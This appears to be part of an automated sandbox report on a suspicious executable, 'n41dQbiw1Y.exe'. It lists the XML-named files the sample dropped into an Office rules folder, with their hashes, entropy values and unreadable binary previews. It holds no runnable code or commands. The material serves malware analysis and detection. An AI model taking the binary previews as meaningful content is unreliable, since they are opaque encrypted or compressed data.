Preview:	<?xml.n^)...!...i]..A{e.<..!.D....7..H.dj.:.@....\|6.........C.&..4m....3a.6......b..uc..g.$...6...i@....o...I.I..!...a...U.l..!.....{Z.U.8...2..p.Q.h.b..i..&&~+.B..<..j.=H..t<i.fDF<A..N..'..ava..A.a..hu.s.....!.\|&p}..j\|}.....w..>.!,X.1...@........7..tVo$.%.L9.;n.....D.k.s3^fB..m......U.3._....F.w;.t....0..8.O.\|....;._...K..A.:.K......B.g...3$...........$@2.i...F.$..O.J.....P......2........}..Q..M.p.(.t..[n..Ga..C....<..N.'=..(:qS1:.$..o.uh...;m..^F....@bFkr.I.3.....O..Q<e..d...UV.U..R......<...0..[..o.A3.....6..Swf'...Vw#..l.BD.K.....Oa.....LB.wS...S."..m......+".\|....).<..{...q>=..g.A./%.A....T......@...............DQ....%s.N.:C.....dG,?8.)6.imzM.....c.%.q.M..........]....E...%.b..7.p.HTAy..nGy.o.YR.=.<lH......C.u.....C.q..5...\|.c...)...9-.hE#..P...>.c..$,.a$03.D.......Np..0?+.p..`...[..%4....';.n....0....}j..A.2.T.$.K.S......tc..{o..gJ.GiA#*.... <.......K..P..A.Q..bK..!..g...^Yz..........6.....IdT"2..;.$a.....<;...,9..N.;.,...g5poA^^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.891309173421707
Encrypted:	false
SSDEEP:	48:wg8X5kil16ODwOPTnbGVY1TgV5JluNP6FD:C5kOjDwmbUY1kRlEP69
MD5:	FE5857BFAE6D2DB6A4EB63D0D523BE57
SHA1:	BEF3CBF8B58F802588DFF5DBB8DA6BBC78DDFA33
SHA-256:	AAE38DBCBC963E521B4FE63C4507F83276DD6FF7D6C98B83C417D57D8E8C7D39
SHA-512:	0706B87F66F59F870D46D6305286FCE6C9DB6A56B6403C40A0A5CC69E4452CA4DDABE72EFBAC6956E1B0986CE497104D7100BFFB256B8EABBFA57FA1FFBE315D
Malicious:	false
Preview:	<?xml.....,.O...$`$_^+..Sf.9F..A""..M.0S$\.!.@......0g......&.ZL.+[qzE8..../h...T~\|..~.:Wv..t.q...=..1Za./......gJ.4.".i...e.....N[.2.....p.....O..`...9..0g&..=P..k.%..PM.dC.o........U..aY.....s.&....}...5....d/y<W....=I......L.. .}..?c.)h.[r.y..%v.$....~.^.j.....H.V.V.....Q&.Yv.g..mb..=.#h..,....uL.(.....P..8.#....6.;.K..<^...i5...y..+v.E......S..z.4..5...gvn..'.)...]........./,!Y.....L.!.s.^.....[.lM..k.F...........<...R.kh.-.zW$. o..T...{....".....D....\|`V.%I.!b..?.\=..J..y..!...R.g'+.}..,.v(0..a.&n...J..@h{d."c..+6^.....f.T.T{.$c.Xf.nj..".Z....\|.wn....ls.Z.m..j[.O....R......^T>.C.~.z...3..Y[......H"-&'........<...q.<F.7..3f....b._...8.5K.>..C4.%.....`8t../v..vd.#...w....U7...+..{.J..`.^.@.N....Z]...A......`....v=..S..N..d.....5.........))-m.....yI...N.....1.x...H.......}....r..M..~.(..Y..<.n\4.'..+..S.]...Os.:+.5..D.$....l.w.h\0e1!..A...d.."36..dL\.9+...=.9...V.[..W.....s.`.a...%.aZ.f.....=.ZZ_.?o...(H...@....yR...E.$.C..rD.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.902950140808051
Encrypted:	false
SSDEEP:	48:IbZ8h/4xNOAAhWSO+l8e2GZSyO83DsThUf6D:kZ8h/4aAAsh+L1O83EOfS
MD5:	6C229CC0823445F9ECD7A2220E5DE600
SHA1:	4D6C6BBDEF9BABC708D3E1E649765D67D2586EAA
SHA-256:	8E2E93F2FB7B9E884084E7001991B3899E7B2E96AF35624DB4F96EEFE21A5C1C
SHA-512:	8538CB8BB19F087F3324A3937636DB9BC9A8AA247D99E64488013557B4DDF3B07A62DF0B6E70E3A0854FC7A16C14DA2102C53BC0E199DE21B5BED632D556DC70
Malicious:	false
Preview:	<?xmlD..FH......#..m..Q...........q..."@xR....s.d..r..z;..Eg..6U..k...B..3k..G.S!.....V..[..g.X.pF$.V...<..y.?..EI..S.....\.....~g..o....k..n.{~e.Q..k[.n.U....t.8.B...k..H...J....b..r..9..3.....m..z........r.J..N...W6`.k... ..rx.(...r.n.h..s>s.O...o...b..h...<..(0......f.c:D8...4^....ry'..)4...,H......r]O.8[.P...3\f.`..0......`u5.P.. VD.6...v2.v..M.d,U..[....o<..#&...y....T&...............@o.....R3.6....N....F...K..X\.)..pgD.d....@....{.f.........P07...b.+.....CV......5@.....@e.M...H...o7..@......I<d....y...\..-o......Jn+...1i.......@.\|.CZx.x.....N.....a-.&^..B.%...`[U4..N.=.....-.........?.s.x.^S....<..^_mhP9.Z.x..H......K..V.$N...v...\6....U.'.>.5?_6..e}.~...Q......-=neG.#.W..tL......F\|.2.5~.Tf...b..&G......eX..a!Q....-p.Q?9.....$...(.%.......#f....{..N...a:..+..f....u....C?..l[.......K... ......I....Oa.<.)..........A.....:.~..w...&g..?l.....h(y...T.9.Z..W...*.r..\|.h2}.x.{..KY.^9..5.1F...S....U......o%.}..5.R!...<..M.....r...+Jw

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.883467531352637
Encrypted:	false
SSDEEP:	48:Yq0usSbvaGav1dql0hdBeoEdLn6YjqZ/D:b7hb3av1a0hLsdLn6Y+
MD5:	E7EDB3EBD4E1028411FE44BD3417C863
SHA1:	0DFE49B32DAFA32B83FDFBD8384932CA2D6754FA
SHA-256:	413E7072BA9575AB62101AB481C1A175E44F9996A25554B4F35E966661B0DD0A
SHA-512:	6BBAB1645A45E24A75811322A35404E885D25F19DD3ABCEF3C9F92B601127B43B7597FAB389B7FD66742F0A1B06953026EE5C0804093092C5E6731C1E566A7E0
Malicious:	false
Preview:	<?xml.y.. S.j..i.6i.-.o.'.m. 2..4.... `."@v.A...@7.RR.....[..ve..Y3.....yB..<=.38..3X...=...b.T.S........d...?..E.......d...s.\|.......<u....E.T>.n.9>.r-...%..j.}........z..Jk.Z.Iw.98...'.?.dX.....)......y..I...;r.uv,.a\i..i.qJ9#E. ..C...nX...]+u...c@.~.Q@..........BF2.O.%N<.?q.../ip.6..}.....].c.U.OKC4..t..?.u.Z..\|[s.}......~...eV'=..YF.9....'..;-..$.x..,k..9./R%..a)d........C#X...v.F}s.?k^..."....K..\V.4..U.I_0Q#..j.....~.... nfav.6....FV.....A.`.S_.....k.wq?......&.7:A.54.....v...1..uAc...3..d....e.L..o..z..<Q.....~.V1...B...R..U\|AQ....~.29..5...V.-.W.Ji....QIL.N.XZv.ov......N...i...`,=`..O..>.r........R....b}..R.8.J..v..g...;.........3g)9..e.NlN..}C%..?].UG...............L5..5.rc.....J.&.....-.e..s......]).P......i!.p.g.....?..T..y.j0..f?..g.....Q..[....Zl..V...Z.v5p.%..6.s09..N.<.;..t......./..z..i..WU..7&zr.cC.:\|+!7..q.j8&E.qB...w..t.O5...b....A...~. .C....S..N....jLU.&.....w..V..U...M"....Vas.y\|...N...8....z.'$#.P.........*.V....z.M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.876109400665925
Encrypted:	false
SSDEEP:	24:sy4Mqfz+eAfqYMWWbyeSI0u1exnh1zzA2ersuMBmUXanHTI8gfXha62KihpgipJT:y7HvSI0yeRhu2ersuqRfh4KUVrVZhhD
MD5:	62377BE0197228F83D91BA59AD6DF2C6
SHA1:	5DAC3B3219DC4F688AA88B0CA09F9DF7F882690E
SHA-256:	738B4C82D862EA2F8C73BCF104D98BF43BF8BD58FFC3EA400BF33DAB524A486F
SHA-512:	0F342D1CBA8C72159D120296DF1A10B76AA506812FD5B9928C3961AF8F430F5C77FC27CC5D8785695A5362D294D17FD76FABEA8B11C383A92D7EF5614C5C4B26
Malicious:	false
Preview:	<?xmlh.v.f....'^..oh.....C .tY.n5.8...c.../p(E3.tf.,...z.C.d....I.).A."4l..I.../l.....f...eU......<..h.-...9U8.g.5`..e.D...3.1dw.8]..Mg.N.....[7z...6.<.<.+...C!....Li..F{.6./.@."..7o.F..........a...I5..P{f.;..8y.cD..7p.x^?.......Q.... ....]wg......z.2.......].F...........=k.......y.g......\.gV......v2ZG.Q.~.f...i;.\/...@scS.....%&.t..Ta.lbh.R.XaZ........t.....,..y.....=...._..).iF.p..@..gE0.K;...<K..!...;...>....\|.9!.].9.ei...........r...tu..........i/..}b...B_'....._KBw...Mf-.Ny...Y..s.E.....Y.E._d.\|...+...[.4TS^...8.Y(,.A!1.EL..T..u.....6..!.G..T.KK.7.&..[Y;..Y"O.@#..61..$.W.k..0;.\|M..-_dmQp".i%6l.%IL...c4.....tU.e......^L..;.6{.\%.e..X...pH.4...([E?...k...K.Fd.`5....^a....8.S...3....hD.24..Nc.].W\|7@.....c.......s....@...~#G.....@u.\|.....s..,..h.I..@...x...........&...w...qx......".R..H..........C...E..'6......I...~..dS..R..[z..=.Q.........;...8f}6byU...S.r.....7.1b..Rr..>.6...i..O..6..\1nX..z..l....x7Ge.......3=..}.5O.<.'....8.Y....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.897155647260498
Encrypted:	false
SSDEEP:	24:umIawWOtSz7nGfZCehkIU79Dnglrnz+xKhGvLt83MlJBNG0ogJ0+NaVN/G77jLih:u1xS2fZkDgBnOK483MlA0r0fN/k7aJD
MD5:	A2702F524BB5CF5383D1437B98E6BBD7
SHA1:	8C0FED3D7BD28E12A0164AFAC80AD93899054E9A
SHA-256:	0B7CF490B3E596B25AB8D7341048BEB83EC3CFA7419C83A3612596498DBBE1DF
SHA-512:	283ED1088ADBD0A230AB56A7FA59D7DC89B353F0BC0D6736E04A1C89087AD021774EB0D9782286E7E431567A9856D3D1B4A4CA7176D4EAF7333FD3918101AE81
Malicious:	false
Preview:	<?xml.Y....!.y....zD`..e.a...Q....-..V..^8t....w...........\|n.$..f.8o...].2T...U..[V.~../.w.\|.A.1..U...Z.c..O..p-w(WZi.]..mj.hS...@;pX .y4..._...&...(8<S.x.%?..R>i......-.>...q....7..Ol.p..F~...p...$'.sy.aFQ....S^.zm.......?..\ ...ms<^........#.&...}5r.%.....6eTf.y...G...5B.nz.....6q..3Y......A..&/I..9.v.....q_...2..8.g...J...n..2B E.P@..z..5......u...}L.!...ue...d.....m..G'....(.$BW..............w.....>.v...j..e..E..+... k.o.....)..l...%.g;.[c.z..F..V..\`.}d/c...G7F...u.xJ....;T...\|.........e.2ga.0/H...q....U...i..B:!.i.Bz..#.U.03...Z.q;Z.L[.6.o...B..8y.3A.=..4}..T...S.';P$.......z...[mm..c0..........,.>.,;.+.$.yE.1.iD.\|.....ON......M.z.....5.7....:....!.(..MOz...e...<'a.^.".......J.U.t....b.......$Ok..&I....i...N.$.{.......L.]..j.;..)..Pg..H......s...H..N."..~..?.5...2y.Nu....A+...O.]dD.[..06......m#.e.w`.m.~d...A&.8.M......KP.s\y.....W.<&Grb\^.%R...5....Q,d...@...k.~.G.x..7:..`.FC..!...w..C.%)hc..3.N...&]v....J.hz.*.dI.P.$\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.866120143166493
Encrypted:	false
SSDEEP:	48:ij1Y0CNc2f9FQ0SnevkUnwkFKO9FzIiL+Z8AJD:E132zf80S1SHiiL+Z8K
MD5:	33AD161CC43F0B2FAAC7C5159C7B9D6D
SHA1:	63643B76C00A48A9CCC57866A86B032326FE3495
SHA-256:	6111434B9D9E8CBAE168C52ED42205646B97FF4F6849FB4956B222ED9429E6D9
SHA-512:	44BADAAAC61DD8570593AB2C56D45D06A2AE34C6C6E4085015763DB3D3F92977D5917DB1DFE719677AC5C2F501064691422853DC4EBD75C0A77B43A675F594A1
Malicious:	false
Preview:	<?xml.n.}..Q.....vO<.H..M..%7.;BE,...>......{P$...z...\r~...qG.......q....K)W3.3wX...FST.1j..T2]b...J%....5_).Z~2\...d...j.Q...@h .4$z.%.<Oj..$....<.....n.....qK.....I...Y..a.O.:X..{.; ....Z....}..Z....;7...3[n(,9......4...{" ....Tqi.......J...".w;8.P.....B.y.T....G...eJ.J]E...g.A....KI...i.=).z.........2y.3.]"T.0..c..<..v......9."W{....t..;Y.zq+.b.['.U...h..1I.C<.?..W-...80.0..ww.....q.T.z...cy..$.6......-(....:.\1.Il..$]......Z.yw....$..9.W...x......d..-...0..0...q%...._..n.qt.. ...>...&!...j.t..V<.n........_..t....q..K...9}.Q.c...A.7..:@...s.0X..0six...Ja3X..!.`vK...@.T..FR..^..P=.\..u.n..ZA.H.....X..3..+^:.6.:.a...}....^/.......k).L.r.d.1.n..@..!g0p...T.]....!..llK....l....U...a.\.BO6.(.....,f.{..\|.Q.3PW.<...^I)(D...1J.n....(.?i..6...e.r.... .....K.6.9t.1p..0.>x..G.G...+.._E....i..'....K.@mL\1.....S76.............M..F.>.9W.wi9.G...$d.H4..U..5..7.....[.g?.W.I...U.. i...s.Qu..K+..x.<P...2...U..2.....`S%.r"\..\..}.+Y....%.&..7/....).\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.9132795830638045
Encrypted:	false
SSDEEP:	48:Lz5yNQZaEiAEpZyOKkMyCmd3PMoxBLsz/lpQD:3yQkPA4yOFMyCmuaBLsbl+
MD5:	8D1C9F210CF5990ECFE9FB7426353472
SHA1:	3A58E166E424FB41DB47FB082A688F99D18C03A9
SHA-256:	D94556DC3BFD9B05F49B7E5EE3ED660828C37FA50F981E206189BC995FEAB2B2
SHA-512:	6DD5C077B3A602CEA7BDECE1228AC4641F9EE38D117D141E5ABCCCC76993CB0E07007C6E53246ACA17D662292226E8A9F6B4DAFEFF071D15399B6A47994AE6FF
Malicious:	false
Preview:	<?xml4.6....n...jNx.y.H...}...g?.5...>w.$.7.N"c:../...[..1.k..[z.l...3...l..H-.R..........W'.K+.v..]q.....>/..EH........!R&.Q1..E..w....h.d...b............M.9...+>>...{.".cZ.A..n.K.._.T...4.XK...%.k..M$l ...../.2..1..y,..Z.....g.r._..<9...xL.k!..j..@Db".f_.....C.2..-.....o.....i.....1.;T..E.x... }._[...0........+..tq../.Y!....3Pf...j..5...7@....V`\|..h.#...-.....XJ...D.U.{.].X./t&K...q.............6...a.z.$q.f..t.Y.....+..Vb9U..I..../p7.9.h<:...J-......<...6....N..zf......M.jy2Z...-..lO.9.9...v...m....#.6I..YC...]z..~..lVx\|...Ap.o...O..g..v....V.^c+<..\|.........x..wc.sZVC.........i.~V....>.. C.nX5v..r.A=..h...`F..e.r..q....N .$_...ao..,B\|...0.no...Gq.qk.[..x...".......F..$'..h.S........W].V...G..0.7....)$.O..o.....x...5..+..M.*...CMnoe...\..Z...8..h....f.=\.].l....l...Ic.P.w`......v.k+..0....\.~.......v..Q.i.O..f....1T....qE..?..=.g...=..,.J^s.Gu..........3........n..^DY=Rb...7.Yh.t..O.:%.`Hj...C."/.B./.~.......1.\...(...+.@[..]o......i....b...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.8868273385478975
Encrypted:	false
SSDEEP:	48:KmkA1ZGY/VbhdOabP21n+UDz5RR4xDpbJcMIpovMiMBCXSHD:ATGVb6WPgZDzzRyWMA8MBeSj
MD5:	5AEB9FED263AA1EA99FFE45AD07E67F0
SHA1:	0152D8238326E66528412B51781DE53F6EEACA85
SHA-256:	293A671B4184DE2F9F78C1362B589DF5EEBC54F23B6FFFEDD445F94762BC419E
SHA-512:	CB49CDA834B3C4564BFE72EE27DE44509919813C4D566E312D97118D4CEE3CECB14BC6806C225A5B83867BAC45B58D582E6BE565A0205AFCD2E6A970F62B617F
Malicious:	false
Preview:	<?xml...X.R ...".W1B...P^...$.....N. @....=.17.%........QVs.y.z..O..1.z.....R9..zi../....A........r..4juur$...h..e.?..Y..j.o..dsk\|.G.rl._..0]Lc.S.e.i].xB.n8..p.....\|;..\VN.b.....{."...,#.v... ....wO1.yO....@.J......... I.<....`.)._.qd...&.R.M....Y...?4^-...L.!....V@+E..y...S.p0..'~HL..`,.V`...4.40...q ...\x..-$d..de.G...M....P...k..a.3.1J............_S.$.B..V..?,.@g....Z...#.HU..2<.w$r'%..U.Ri.c......0...=o0....?.W...k...tk.."....r..D...K......g.....t..]_.F.....k.d.b.&..ji._^.d.h=.M.'"o}...p.)F5...r..2....d..W...h...(Fl... ..")......c......uqg...L}.z..U..c9W<U&..+...l....l...]..]hB#...../..J............S4W..h...;...#....i..j.dy..Uw./.P.....45.....t..}e....-.d..^rg:Z@..\../.d..y....2.EZ.<.k.UM04...!.sog..6....A.e..y.b.$a\|.wS.#z....H...........q...Ud.....g\|.C.P-f4a0.......$..4,.T...~M...."..G.].a[.,.......m.k.3@._.\.......H......2.\.YF,q...?y.m.~.V..v...+^..2..op....)qJ.n.J8.....)...%.$.M......-.n..>YB...p\|L#.a.H.`.iO!.\.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.877448914189375
Encrypted:	false
SSDEEP:	48:M8pm5zEvRFYX7flm8/6NLCNM+uxNLYILEirD:vpm5zEvRFmiLKMYqH
MD5:	E42DDD42B755D01979F6CB2AD653E87D
SHA1:	24DF89B698E0664E7B432F099FB37285791DB4FF
SHA-256:	1E16BF4E07D9862C34973E0D3DF3CD2645771B85901E6FCF437498861FAB546D
SHA-512:	BFB2E66688CAFC6A13D74BDDCFAF3A98029D4145F2D1F9EEA9272DD38EAA1384AE13832FB891D9D29092D51591190BA80CD7B233D81E75C1BCD041D64F0594C6
Malicious:	false
Preview:	<?xml.....Y.."i2...&.F.}.#.Y.&../$>..g.....<.8.(Y.}S.Y....q...h.....5d...f.J..@........u.2....b<.t.k......C...U.J^..ID.....j.......g.nbYf...e..c.!vb...@A..:....OH.E.=...~K.!..#...}..b1\fQ........%..u.G5..v.. ._....F..j'e..K..n.4.4H.....v...z.S...\..@#.....:..+E......WN...@...5.....k.....&..#.......r.....:...4..5Z..9...e...--....p1).....}..lU.BZKA.#zt....8..C.S.Y.w...XQ..;...8G..A.0...=1.c.+..7].... BX.Mp. .6bw:....Yh8.6...D..jc..(n......ie%>..Oc...F......R~}.....76S...:..0...NJ.....IO,l.,T.5.....M...g^.....j.6yQ.-..@.7j.........S..C...3..y..+X...5..<..l..b^.T..Zzr.VQ$.f..Lz>w.c1.3.IW...c~.iZ.tCON.K]..F..5...C.A.(..W8.vi...cj.=..R...<..PT.2..pxj..j.vRU.:I..h..~.'.U...K$.\|>......]..X...[..."m3.k.vo...N........\N{.......e?S.. .e.Am..v.....5..sZ.....I.;.8>.S.F@`.;.h[. \.f../...c.K#.qM.6c.G...#'..e&....y)IdA#.]...p...(}.:5.J..R.;.X?..zW....:7...!5HuD..]5...$..N/."W/xH...3._.R.......p.;.+E....rM..f.7`..U.t.Y..e.H.....I.....K.......%.*.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.896234905899933
Encrypted:	false
SSDEEP:	48:mLmfvm7g67NNJUVcbOShViO5pmbrYI4kkifJiDRD:ymG7NP+cbOShViO3TQfY
MD5:	9B43B709139EC7E42B08C264B558E7A8
SHA1:	F030A747EF44B26C9BF7677CFD45F461B025E9A7
SHA-256:	D1AFAAF803B0B26FF16668576B6E1C59FEB8DD1F1E0FEEE14EA8E256AF4506AC
SHA-512:	6829688E63F6FE779BD1C44A467D81AD1EC22FB1C2A25CFA4695AAB118897673775E39A396D331CBA279685026AE98883AC8916AF63D6A691663A00AB6AF5120
Malicious:	false
Preview:	<?xml...V.Q$. ...) u........k5.>..m..'..$m..Ia.P..w..R..E..d..h...u.h=...5.,i^..n.9h..L\.-Q.wQe..}..Nx..1...e.A.&J.W...Y...}.d.x...T=&.Fa..-.x.A@0vqB.._s9.g..W"...MB.L..;8uH...E.....i......]...*yu....a..8..........M.P.{........N..&a..w..h.;.b....6H....Xm....(....=.dh..%.U.)..>pj.Z....N....G..j..7n...u.TR'....,<Y......._...r.e\|..U.DR.H.n#x..S..=O.([.<_n..LJ.._w}7T..?[.<...r..].........^..N...q.t..f.YV..Y..@.Eh/..f.....Q..jw...c.<s=.y.+..%b.}g.$?..X....-....oJ@3d,....g..6..:BZ..&K...R8..F.^m....B?v....1....IV.r............a1...IgZ..o7T..jg.k2...X.B.~..L.(+..#.C.T..d..Q.Y.....k \.0/.nObC(M_..R.(...9W...zUbpt9I...q.v..#.~........yz7$.9\.\M5.....)t.R......C"..Y.......d..`x.G..X.....-(.n....ye.%O.d.w%9_...yM3...C..p...]..6...q...]..;.=.>.I0.EM..k... .F..[.+I.m.g0.0......7i......v...\|.\|r.v.6....!..Y....8.5.P?.5N.....^..+..oaIz....c.m...54.r..)r.F'3.......X<.\|@V..H..\m.T....4I......iL.........=.t.YK..'..N.d...g....Q.$.X1...{e\.k.Ji

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.881735765455098
Encrypted:	false
SSDEEP:	48:MvIv58FBwRb9u8+PltpsiEX+SqIyLI+P41G1tjD:MvIW2b9utl4fO6yA1Kd
MD5:	304B6BD37CA747EBC58F6EB122F93EC7
SHA1:	EC2542E1C2B35B06DC1D25E830FBEA783AA00F11
SHA-256:	9605D47763483B4C0F27AC774B559166959B8C0CE570FDBB26D8F027AF5396F7
SHA-512:	12FB04D496A3E38DB0064D411255D9BA9E9676B5BE9FE2D0D3B2997CA418C0504835F94FBB8873545260E9CBF38FAFA8992A8B7FE878893F78414FDB3650657D
Malicious:	false
Preview:	<?xml.......$.H7.r...P....y..XI.V..z..,.....k..r..........A6.\|.:.'._...4.H.E..#......GNp. 6a........,.Dt(..T'...Y/.Ik.y..sTa.=.,yi.C.-c:.^.._C+h.UO..t.0.>6~.%,cZ.lR.].w....3.(.}..J..-N.?C....mO........M.....`..2.Y\.r..M.[.....+."E..A\|.Fv.[0..QLJZ-q?./..h.L..2.9..O....F.....I._.p?53..\...?+.\.j.h..w&.M.%X...#U....x.dP"iz.....M.(........?..(...O..v.._t.t-........Ex..!.j`......_..e...I#.......:.5..u...0\.......W.Y..........i.h...Y...w.)...=.!!.....dU......6....$....O.KE........"o...}N.\....&..Y..a...Q....m.......F}..;..(R...e8...).p{H.....!..y........b ..o>;.ncT...u"..l...X6.@G2..,..-......h:w...o..4...v.N...."...%.../....U\...."E..].7~_....=.&b^.Y.1.9.f+p...}D+........./..v.zw\|p..].1~..U.....J.......3..d.t..d.._$?..u..../.{.r).c..2..kd{A........i`.k.`.9.@....@....lg!jn70...".7t`<......m.....X..j.2.....#...3...F..h.)R.....D7".<...\).cv.o.0.dR.C..-...KWr.m./Cq..Fc.k.8........i..?Vw..KE.....K..S...9.H.$.gdC.Vs..I..i..9pdqs...<5.(..Tt...&S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.880339012755063
Encrypted:	false
SSDEEP:	24:DczlxmrhfCDU3V8j7caaOyn5l0yDRK1dmF6tQhl+2B6UeXiMolkRP9tjIW9bD:3hfCac7caaOy5D8e0Gar9oaRfImD
MD5:	5A39EA8FEFF137DCE2CC8B7135F05D8B
SHA1:	788CF56796734A465C75248F7034D4DD7BFB3B42
SHA-256:	5A72EE9FF114187D47F92F1D6AC85E9203C8FCAF7C214B54AE3B1F1EDA3B78AF
SHA-512:	DD9C5842C2D85FCF23E3DAC4F11F5023AE1346488E120D8E9D2212E890D5A3E48C398F4529E348E28C42260FFB5CDCC84A5350903359F64D139798116DCDC372
Malicious:	false
Preview:	<?xml.]..~.C.`.8.f.@..(.. .c=.x....._..i.a.#......Q..!.iY.7.<^.h...T.}....>Nyx\|.'?.5..3."....}.F.E>.5.......HU..C..hS.Opa.~Ue...S9Ns....a:.E.^.2.6..e.%t-..h.8.h/.L=.x....'.f....eX...^..GH........e....A..(..+...<..+....Q...WT/...).b.q....N.$.m$..9j.&.b$p.......q.m......n..%..=..."@d6...{.5I..d.D..xJ...-p.a..6..bZb7..C....5.....G.Q..C(.y.~.....&..Q.CS.w..#ai.^..}......c.V..y..^y@$......i.g.....{'$...m_..]h.....;........l.r...6.i.9.C..'..i-.yWG...3...%b!.....}YV.u.n.w.....w......#.......w\}.....>~...l..7 ....XhR....>...".l..+...}.,H..A....g"WC.R-....5'n....L.A]..u9om.<.\%.1^w.........d[...?...`....w.t.1..+1....)...$..x.T]...........E...[..<...Z..BM\........v?$.f.....@v...e.z.E....7..T..ekU.....\%.:.e.......DA.5v..XU.....<.......>.GL.$..D.5H.2D.d.i.)Ln.~.v.mf.2..TR.. f....=XT.t..N..^M...Ug.de.%.1...P^H.t..=...-.....R..S3,.n..c.....k....q].#f.t.....8E.I..O..a.. .;...5..=Q2v2.\..-C.W3u..>.1.]T...kr.>..W..U. ...cB\|...0\.\|.j.Zkcv.ll6w..=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.8740075036927015
Encrypted:	false
SSDEEP:	48:PwsVrbR/UwN0Gc7aAi0BKzcWMc7hAuTaBJf8D:IsFbRTncti0B4xdAumjf4
MD5:	0C71CD7210B87A50181248EB42A73B68
SHA1:	39B6D0D0984DEA9B89889BABB32EF99EFE4C01F5
SHA-256:	959AF533FB451D189525FEFFE16DA3A9151F7F5D0B46077DAAE9E021657FDBF0
SHA-512:	FD62C754801CBA1AB385B0A0565F14B8EF57F941904BEF04331A368A21A47439374BD376CD6F239EBF03967657E9E4398772E48D3809E9214BFDD8E6E1460408
Malicious:	false
Preview:	<?xml.d.n..B......k.Vd.....f..8.......:.#6O..HD...v.`...7<...;.M,.....Vp..!M..B+)+...d..e0;.H.yz.s.!..i:.....mF?....c..$\|.... W.',.=4m........GS....A.c.4....8....p~..M.&...>Vy..>...........u.....F.,.y&IH.I..?..4(AV.c..N.J.}........#.........}.%.l...x?..E~...V}v=...#k......w[{.s....d.`.Dp.OU.....iak"-..L.2.......c>...'................;4...M.q...]..6..............O2.i.j.m&....eqA2X.4.......9.-..@.eM..^.!.M).G.Z....E...\.'.sD.\|L..~......~..n.....G.?<.....yc..+..+.9.9B.H...y.....g.GP.P...y.5_...i.~i.m. ..i:..[O.fo..E.ce.s.8.....B..3b.r.....+vr..nsP.2.=..C..X.P5...`.O.")..=..ax....x.b=>,`.2...A...<p.....P.6{.P......g..........c......{...J."ew.....W.}...,.,......"%.s...)........g..} .A.3....+?.....]&.P.g..l.....\a.g.t;p-..6.PD@.e.<..:k...p@...8....`. ..6..G...gG..Kk.FN.'L.X..6dMQ..Y......5...n=...>A...s.u.A...A.NR....%Z...H~.r.o.6.0...xQ:./.ZRm....E..'0...&.~.=S..........Z..Zp.b..l.H......K*...j)...2..XXED....L.6...2p..~.)...P&d..W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.88345800635695
Encrypted:	false
SSDEEP:	48:y4W+glAsj4mugAgUU1/S/KqDPLcMsK802a9DD:a+gtfiy1/SVPLcMsJal
MD5:	DBE5B73338B29FBAE9B996413C6304FF
SHA1:	CBA87A053DAB003875B15EC9A7CE188CDD88CF70
SHA-256:	A94D1AAC66E21C9400F4DE4558A65BBEE187F488B1E1C159115CA50CBBAD410E
SHA-512:	16D174815DAD74E61A08421D7EDE2CAF4565398DCA9D320174F46B1995BD2A42FF40B03B54C59575A58F2F63D0EC2871F913B9A9F5B9CCF2958BC1AAB0D52160
Malicious:	false
